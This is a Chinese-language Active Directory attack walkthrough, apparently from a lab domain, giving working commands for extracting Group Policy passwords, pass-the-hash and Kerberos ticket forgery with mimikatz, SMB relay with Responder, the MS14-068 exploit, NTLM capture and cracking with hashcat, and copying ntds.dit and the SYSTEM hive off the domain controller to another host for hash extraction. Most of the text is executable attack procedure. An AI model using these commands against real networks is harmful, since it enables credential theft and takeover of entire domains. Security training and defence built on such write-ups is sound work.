文章来源 :安全鸭
- TGT
TGT验证用户是否属于合法域用户,合法域控则分发TGT认证票据。
黄金票据用于伪造TGT,拿到TGT就可以访问域内所有主机
- TGS
允许访问某一项服务的访问票据。TGS票据正常才可以访问对应服务
白银票据用于伪造TGS。
TGT、TGS票据具有时效性。票据通过对比NTLM 加密时间戳hash值进行验证
二、域安全策略测试攻击
域服务器一般都会共享这个文件夹,或者搜索当前机器下的XML文件将包含凭据:
映射驱动(Drives.xml)
数据源(DataSources.xml)
打印机配置(Printers.xml)
创建/更新服务(Services.xml)
计划任务(ScheduledTasks.xml)
2.1 创建组策略
①创建组织单位,将需要下发策略的用户移动到此单位。此时对xyz组进行组策略下发,该组里的用户都会被执行策略
②在该组织单位下新建组策略对象
③编辑组策略,更新本地用户。
2.2 漏洞利用
①在获取权限的域内主机更新策略,使下发的策略生效
gpupdate /force
②查看该策略对应的id号
③寻找组策略对应的本地文件
在域中,存在一个默认的共享路径:**\\SYSVOL<DOMAIN>\**。所有域内主机都能访问,里面保存组策略相关数据,包含登录脚本配置文件等
④查看策略内容,文件内容里面cpassword项保存的是加密后的内容,加密方式为AES 256
还原hash的方式可采用开源的powershell脚本,项目地址如下:
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1
⑤ 执行powershell解密hash。将该cpassword密码值放到powershell脚本里面然后执行脚本读取得到组策略下发的密码
PTH
pass the hash。获取一台主机的本地管理员组成员账号的口令NTLM后,无法破解密码,使用PTH方法将管理员账号及NTLM注入当前会话作为凭据,利用该凭据可以渗透获取周围的主机的管理权限,如果对方存在相同账号及密码,进行密码碰撞是可以获取到这些主机权限的。
1.利用mimikatz.exe读取本地hash密文
mimikatz.exe //运行
privilege::debug //提权
lsadump::lsa /patch //得到hash密文
# 或者一步到位并将查询结果保存造本地txt文件:
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit >>log2.txt
②利用拿得到的hash来连接域内其他目标机器
imikatz.exe "privilege::debug" "sekurlsa::pth /domain:safe-duck /user:administrator /ntlm:f5082729365bda3f34f598f99b33b242" exit
③得到具有用户身份的cmd shell,执行命令:
dir \\WIN-6JM3ECTM2CO.safe-duck.com\c$
# 调用cmd
psexec.exe \\域控IP cmd.exe
vi /usr/share/responder/Responder.conf
#将SMB和HTTP的值改为off。这样responder就不会获取哈希值,而是Multirelay.py来完成这一任务
1. 网段扫描
因为只能对SMB signing设置为True的机器发起攻击。运行RunFinger.py脚本来识别将SMB
signing设置为True的网络中的HOST机器。RunFinger.py脚本会预测IP的范围来检查现有的HOSTS的SMB
signing是否启用。运行RunFinger.py脚本的命令为:
python RunFinger.py -i 192.168.1.0/24
2.获取可攻击的主机(true)
3.开启responder监听
responder -I eth0
4.运行Multirelay.py脚本,做中继代理
python MultiRelay.py -t 192.168.1.11 -u ALL
5.等待目标上线
如果中继成功会反弹一个cmd.exe。这是利用失败的案例
但是在日志里面已经获取到hash身份,也不算全部失败(自我安慰)
参考:https://xz.aliyun.com/t/3560
黄金票据的制作条件:
1.域名称
2.域的SID
3.域控的Krbtgt账户的密码hash值
4.任意域用户名
klist #查看当前拥有的票据
klist purge #清空票据
1.获取票据伪造所需要的TGT信息。获取krbtst的hash,这里是直接在域控里面看的。实际情况就是上面说的无解死循环
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit > 1.txt
2.获取域的sid信息:在已经拿下的域主机获取执行命令
whoami /all
得到:S-1-5-21-4065905668-3814866385-3259433788
3.mimikatz工具伪造黄金票据:
mimikatz.exe "kerberos::golden /user:win7 /domain:safe-duck.com /sid:S-1-5-21-4065905668-3814866385-3259433788 /krbtgt:c4af830cd0ee19d893c652a3ad9f88b7 /ptt" exit
#伪造成功,查看票据
klist
4.查看共享
dir \\WIN-6JM3ECTM2CO.safe-duck.com\c$
5.利用psexec 调用目标域控制器的cmd
PsExec.exe \\WIN-6JM3ECTM2CO.safe-duck.com cmd.exe
1.获取域控的设备名称
2.获取域的sid
whoami /all
3.获取域控的hash(死循环第二季)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > 2.txt
4.域内主机伪造白银票据
mimikatz.exe "kerberos::golden /user:win7 /domain:safe-duck.com /sid:S-1-5-21-4065905668-3814866385-3259433788 /target:WIN-6JM3ECTM2CO.safe-duck.com /service:cifs /rc4:9f1ed160f3dff10ba81109cbaf19f5fc /ptt" exit
5.票据注入成功
6.psexec 调用目标域控制器的cmd
PsExec.exe \\WIN-6JM3ECTM2CO.safe-duck.com cmd.exe
1.首先在域控检测是否有MS14-068这个漏洞,通过查看是否打补丁(KB3011780)来判断是否存在漏洞
2.攻击者拿下了一台域内的普通计算机,并获得普通域用户以及密码/hash值,以及用户的suid。exp项目地址:
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
3.将内存中已有的kerberos票据清除,清除方法使用mimikatz,或者klist purge
4.使用whoami /all查看本机用户suid
5. 利用ms14-068.exe提权工具在当前目录生成伪造的kerberos协议认证证书
ms14-068.exe -u [email protected] -p 123.com -s S-1-5-21-4065905668-3814866385-3259433788-1105 -d WIN-6JM3ECTM2CO.safe-duck.com
6. 将证书文件复制到mimikaz同级目录下。写入证书,从而提升为域管理员
mimikatz.exe "kerberos::ptc [email protected]" exit
7.再次列出域控制器的C盘目录,成功访问域控的C盘,说明普通域用户提权成功
8.使用PsExec.exe获取shell,#psexec.exe以管理员权限运行连接域控
PsExec.exe \\WIN-6JM3ECTM2CO.safe-duck.com cmd.exe
Responder下载地址:https://github.com/lgandx/Responder
1.kali 设置侦听
responder -I eth0
#Responder会启动80端口,用之前关闭80服务
/etc/init.d/apache2 stop
目标在浏览器上访问任意网页,kali获取到hash
2.hashcat破解
hashcat -m 5600 hash.txt -a 0 pass.txt --force
#5600>NTLM加密协议
1.已得到域管理员账号密码
2.win7 充当被拿了shell的域内普通机器
1.和域控建立空链接
#与域控建立空连接
net use \\192.168.1.11\ipc$ "123456" /user:"safe-duck\administrator"
2.psexec对域控执行命令查看域控是否建立了卷影副本
psexec \\192.168.1.11 -u "safe-duck\administrator" -p "123456" -h cmd /c "vssadmin list shadows >> \\192.168.1.201\c$\test\out.txt"
当前没有卷影副本,则需要手工创建。
3.手工创建卷影副本
psexec \\192.168.1.11 -u safe-duck\administrator -p "123456" -h cmd /c "vssadmin create shadow /for=c: >> \\192.168.1.201\c$\test\outs.txt"
4.复制卷影副本到本地
①将ntds文件拷贝到本地服务器
psexec \\192.168.1.11 -u "safe-duck\administrator" -p "123456" -h cmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit \\192.168.1.201\c$\test\"
②将system文件拷贝到本地服务器
psexec \\192.168.1.11 -u "safe-duck\administrator" -p "123456" -h cmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system \\192.168.1.201\c$\test\"
5.将拷贝的卷影副本文件放进kali,使用工具读取ntds文件hash内容。获取到域内所用的账户信息
git clone https://github.com/SecureAuthCorp/impacket
./secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit -user-status loca
6.然后使用hashcat暴力破解
hashcat -m 1000 a.hash -a 0 pass.txt --force --remove win2.hash
-m 1000 #破解密码类型为NTLM
-a 0 #采用字典破解
-o #将破解后的结果输出到pass1.txt
--remove win2.hash #表示将移除破解成功的hash
最后得到域内所有账号信息。完工
侵权请私聊公众号删文